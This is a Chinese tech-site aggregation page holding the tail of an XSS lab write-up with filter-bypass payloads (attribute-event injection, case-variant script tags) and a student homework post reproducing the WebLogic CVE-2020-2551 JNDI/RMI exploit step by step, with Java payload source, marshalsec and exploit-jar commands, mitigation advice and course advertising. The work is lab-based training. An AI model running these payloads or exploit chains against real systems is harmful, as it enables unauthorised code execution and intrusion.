    <h2 align=center>没有找到和&lt;script&gt;alert('syc')&lt;/script&gt;相关的结果.</h2><center>
    <form action=level3.php method=GET>
    <input name=keyword  value='&lt;script&gt;alert('syc')&lt;/script&gt;'>
    <input type=submit name=submit value=搜索 />
    </form>
    </center><center><img src=level3.png></center>
    <h3 align=center>payload的长度:29</h3></body>
    </html>
    
    <script>alert('syc')</script>
    
    &lt;script&gt;alert('syc')&lt;/script&gt;
    

    然后这里如果使用第二题的Payload,则还可以发现"也被完成了转义

    "><script>alert('syc')</script>
    
    <input name=keyword  value='&quot;&gt;&lt;script&gt;alert('syc')&lt;/script&gt;'>
    

    那可以考虑给给input加一个onfocus事件,当 input 输入框获取焦点时执行一段 Javascript代码,我们就直接在标签内加载js,可选比如说onclickonfocus等。之后测试发现对于等号后面参数会自动添上"",再就是后面多了一个,我们需要使用//注释掉

    ' οnfοcus=alert('syc')//
    

    在这里插入图片描述

    3.2.4 题目四

    于是我们顺利来到了题目四
    在这里插入图片描述

    经过多次尝试,href,src,data这些关键字都加下划线了,script、onclick、href都被过滤了,最后得知有一种手法叫大小写过滤

    构造Payload可得

    "> <SCRIPT>alert('syc')</SCRIPT>
    

    在这里插入图片描述

    四、实验目的

    • 了解SQL注入攻击原理、了解寻找及确认SQL注入点的方法
    • 了解XSS的定义,反射型XSS、存储型XSS的区别,常见的XSS攻击手法
    • 了解XSS的过滤原理以及常见的XSS绕过技术

    五、参考资料

    • https://paper.seebug.org/15/
    • https://blog.csdn.net/xuchen16/article/details/82785371
    • https://blog.csdn.net/qq_34638225/article/details/81269281
    • https://xz.aliyun.com/t/4067
    • https://xz.aliyun.com/t/2936#toc-12
    展开全文
  • 《揭秘家用路由器0day漏洞挖掘技术》理论与实践结合,全面、深入地分析了家用路由器的安全漏洞,包括Web应用漏洞、栈溢出漏洞等,并辅以大量案例进行了翔实的分析。《揭秘家用路由器0day漏洞挖掘技术》针对家用...
  • 文章来源|MS08067 Web安全漏洞挖掘实战班课后作业本文作者:某学员A(Web漏洞挖掘实战班1期学员)写再最前听了涛哥关于weblogic的课程讲解,收益颇多(前段时间实在太忙了~ ...

    文章来源|MS08067 Web安全漏洞挖掘实战班课后作业

    本文作者:某学员A(Web漏洞挖掘实战班1期学员)


    写再最前

    听了涛哥关于weblogic的课程讲解,收益颇多(前段时间实在太忙了~ ~),看到班里很多同学都在无私的分享着自己的心得,自己也写一篇,希望能帮助到一起学习的同学。

    漏洞说明

    CVE-2020-2551并不是一个新的漏洞,它是weblogic诸多漏洞中的一个,漏洞爆出时间为2020年,但是它绝对是一个中招概率极高的漏洞,因为它和jdk的版本高低无关,和T3无关,甚至它和console控制台是否关闭都没有关,也就是说,就算你把console端口关闭了,只要你把程序部署在了weblogic的服务上,你就有可能中招。

    所需工具

    1.marshalsec.jar(GitHub网上下载)

    2.weblogicCVE2020_2551.jar(GitHub网上下载)

    3.exp.class(通过exp.java文件编译而成)

    前两个文件请自行网上下载,最后一个文件提供一下个人实现的源码(可以弹出calc的),更复杂的请自行编写

    用记事本输入如下代码并且取名为exp.java(此处注意,文件名很重要,如果不懂代码逻辑,就不要改了,如果代码能力Ok,当我没说)

    import java.io.IOException;
    
    
    public class exp {
              static{
                        try {
                                  java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
                        } catch (IOException e) {
                                  e.printStackTrace();
                        }
              }
              public static void main(String[] args) {
                       
              }
    }

    编译的方法也很简单,cmd进入到目标路径,使用命令javacexp.java编译后,就可以得到exp.class文件

    9b18f80e2d337e676960d873ee861bb5.png

    开始试验

    首先,务必务必要确认一点,就是你和靶机的网络是通的,如果不是通的,那一切白搭,当年复现永恒之蓝的时候也是网络的问题(泪水太多不忍回忆)

    你看,这就是网络不通的情况

    09aed9ee211f92e135c007666fd4908d.png

    这种情况就算你所有步骤都没问题,但就是不好使,你说你气不气。

    8c1c3afe2b07615b586f5a548c5b65c1.png

    确认网络通了之后,才可以进行到后面的阶段,如果你用的是虚拟机,那大概率是防火墙的事,测试的时候可以先关了(记得测试完成后再打开)。


    环境说明

    靶机是weblogic10.0.3.6版本,其它高的版本也同样受影响(默认开启IIOP协议的版本均会被攻击)

    攻击端IP:192.168.199.1

    靶机的IP:192.168.199.133

    攻击分三步开始运行,所有的命令都是在攻击端运行的,

    1.攻击端开启marshalsec.jar的RMI服务

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.199.1/#exp" 1099

    695898781d65230153cc9e303a253443.png

    2.尝试使用python模拟http服务,当然了,你也可以使用任意一个可以提供HTTP服务的软件(注意:此处需将exp.class挂载到同级文件夹。)

    先进入到exp.class的同级目录

    db1e6b2d731b6f44347ed6170cefc6fe.png

    然后运行命令python -m http.server --bind 0.0.0.0 80

    f695165a42fc6e2eb5467ca440cd69d5.png

    3.在攻击端使用weblogicCVE2020_2551.jar开始攻击尝试

    java -jar weblogicCVE2020_2551.jar 192.168.199.133 7001 rmi://192.168.199.1:1099/exp

    注意左侧,命令执行后左侧会出现新的内容,框选部分,证明现在已经在攻击了

    10d67f214ce3aacd7b0b6a6fe2aecffa.png

    被攻击端成功获取攻击端发送的恶意class文件,图中模拟的HTTP服务已经接收到客户端的请求了(两次)

    c87502623fb8f1a226a2a42058bed38a.png

    同样的,观察marshalsec同样收到了靶机的请求,攻击成功

    04e23ff07a98d56650a0373bef23f725.png

    放一个靶机的攻击效果图,目标系统成功弹出了计算器(两次)。试验的时候杀毒软件没关,还是中招,攻击成功

    34012115c9633518214a59503159e90f.png

    神奇的是,就算你关了7001控制台,受管服务一样会被攻击。

    一个小的提醒

    你可能在执行第三步命令的时候窗口出现报错提示,这里不要担心

    52875b17b6b0feb8a8a7f935a86204a9.png

    因为后台控制台这个时候同样也再报错,不过不影响攻击的效果(计算器已经弹出来了)

    415e2766a8d8917c1a2197f051a3af1f.png

    漏洞防护方法

    1.进入控制台-环境-服务器-某某服务

    b7fc404f03e25ab9059d8222f5360dab.png

    2.依次点击协议-找到IIOP协议关闭IIOP并保存

    8115901f391dea2161712cb2b06ccdbd.png

    3.清理缓存,重启即可

    参考资料来源:搜索引擎以及Github

    URL1:https://github.com/Y4er/CVE-2020-2551

    URL2:https://y4er.com/post/weblogic-cve-2020-2551/

    友情提醒:本文仅适用于安全技术交流,切不可用于非法用途,后果自负。

    想学习更多WEB安全漏洞挖掘的技术,可加入

    第2期  Web安全漏洞挖掘实战班

    最新课程大纲2.0版

    4723e31fd3f44999fe02ad3786e4a998.png*大纲仅作为参考,会根据当期进度有所变化(加客服获取高清课程导图)

    最新课程目录2.0版

    642a73d63750d9c365ca1e6462e35674.png

    课程费用

    每期班定价2999开班价1999前30名送365元Web安全知识星球名额

    每个报名学员都可享受一次后续任意一期课免费重听权益,一次没学懂就再来一遍,后续培训可任选一期来听。请有意参加培训的学员抓紧报名!

    凡是MS08067旗下任意星球学员或其他培训课程学员,可享内部价1899

    支持支付宝、信用卡、花呗分期,对公转账,可开发票!

    第一期班学员作业(部分)

    企业信息收集之道

    Tomcat环境搭建及漏洞利用总结

    WireShark抓包ARP报文分析并实施ARP中间人攻击

    Wireshark抓包+中间人攻击+绕过CDN+ARL灯塔+编写扫描器

    上课时间

    开课时间11月13号,每周二天课,共8周21节课(42小时)
    周四:19:30-21:30
    周六:14:00-18:00

    如果无法准时参加直播课程,在线培训的每节课程都会被录制成视频上传到学员区,可随时下载观看。

    上课方式

    培训采用在线直播+随堂录播+配套教材+配套星球+课后作业的形式,无需等待,报名后立即进入“Web安全”星球开始预习。
     a311675b97e011408283928d2e0fe7f9.png

    讲师介绍

    讲师A:MS08067安全实验室核心成员,Web安全知识星球合伙人,安恒信息安全高级工程师,擅长企业安全研究、情报分析、渗透测试,安全开发。

    讲师B:MS08067安全实验室核心成员,Web安全知识星球合伙人,擅长渗透测试、红队攻击、安全开发。

    讲师C:MS08067安全实验室核心成员,资深安全培训讲师,擅长WEB渗透测试、内网渗透、密码学、安全管理、等保、法律法规等。

    团队出品了国内经典WEB安全图书---《Web安全攻防-渗透测试实战指南》

    8c79706c122b7cc52f47841d1d3fc117.png

    ddae854028717eb25d141b1ba387e8e5.gif

    如何提前预习

    • 为更顺利的完成课程相关内容,请同学一定要提前预习相关知识点,已经报名的同学,请购买实验室出品《Web安全攻防:渗透测试实战指南》一书或在赠送的MS08067实验室“Web安全知识星球”中学习相关的内容。


      本次课程为WEB安全进阶提升课程,基础比较差的同学请务必提前一周预习“Web安全”知识星球内基础课程!

      03a540b7f85e625b53a21488565b3b1f.png

      d9c9d877675d3c831fdbb1ace2738e2d.png

        为什么选择MS08067直播培训     

    MS08067近年来在安全界的口碑还是有目共睹的,特别是对信安感兴趣的学生、爱好者做了些有意义的事情,是真心实意的为读者,绝无半点虚假,做星球的初衷也是为了满足读者对于图书配套视频的需求,不像一些培训把心思花在宣传、花在“卖教程”上,实验室4年出版了4本原创图书就可以看出我们的初心和技术能力。

    此次培训围绕红队攻击中的实战应用,重点突出实战、干货、思路、深度。负责讲解的老师也是MS08067的资深核心骨干成员,拥有多年的实战工作经验,让您所学的技术可以在企业中真正用得上。

    很多读者跟我反映过开始都是看视频、看书自学,但是一旦遇到实验报错就没法解决,遇到不懂的技术点也没人解答,本应该重点掌握的技术也没有掌握,100%的初学者都会或多或少的走些弯路,学了1-2年还是效率低、进步慢,有的甚至就放弃了信安这个行业,学习信安要有圈子,也要有方法,自学当然没有问题,但该花的钱一分也不能少花。

    最后再说下现在的信安培训也是鱼龙混杂,有很多挂羊头卖狗肉的也有很多商业化很成熟的机构,我们只希望做自己、多出书,然后做些小而精的培训,仅此而已。

        你距离大佬,只差一个决定       

    报名咨询请联系小客服


    如果喜欢本文
    欢迎 在看丨留言丨分享至朋友圈 三连

    扫描下方二维码加入星球学习

    加入后邀请你进入内部微信群,内部微信群永久有效!

    34efd7732763292ee38d7e4fec7d8255.png 810ac893eea87fefb4102fb035258997.png

    40fea8d085e35369073f0b5f5b6ad951.pnga305ca9a99d84a9f6f39f54f7de83586.png

    e9f2f91c6bd09bc9f9aba25a89fcd3e9.png 234491f5a893b64028d592563cd23fdb.png

    来和5000+位同学一起加入星球学习吧!

    6f71adee693b668fa132d70074737b92.gif

    展开全文
  • web应用漏洞挖掘技术

    2016-07-30 11:48:00
    单位组织的web应用漏洞挖掘技术的讲座,刚好之前工作接触过SQL注入和文件处理漏洞攻击的相关内容,所以对这方面稍微有点儿了解,也想通过讲座学习一下别人的想法和分享的知识。简单记录一下讲座内容。 图自网络 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,202
精华内容 3,280
关键字:

web漏洞挖掘技术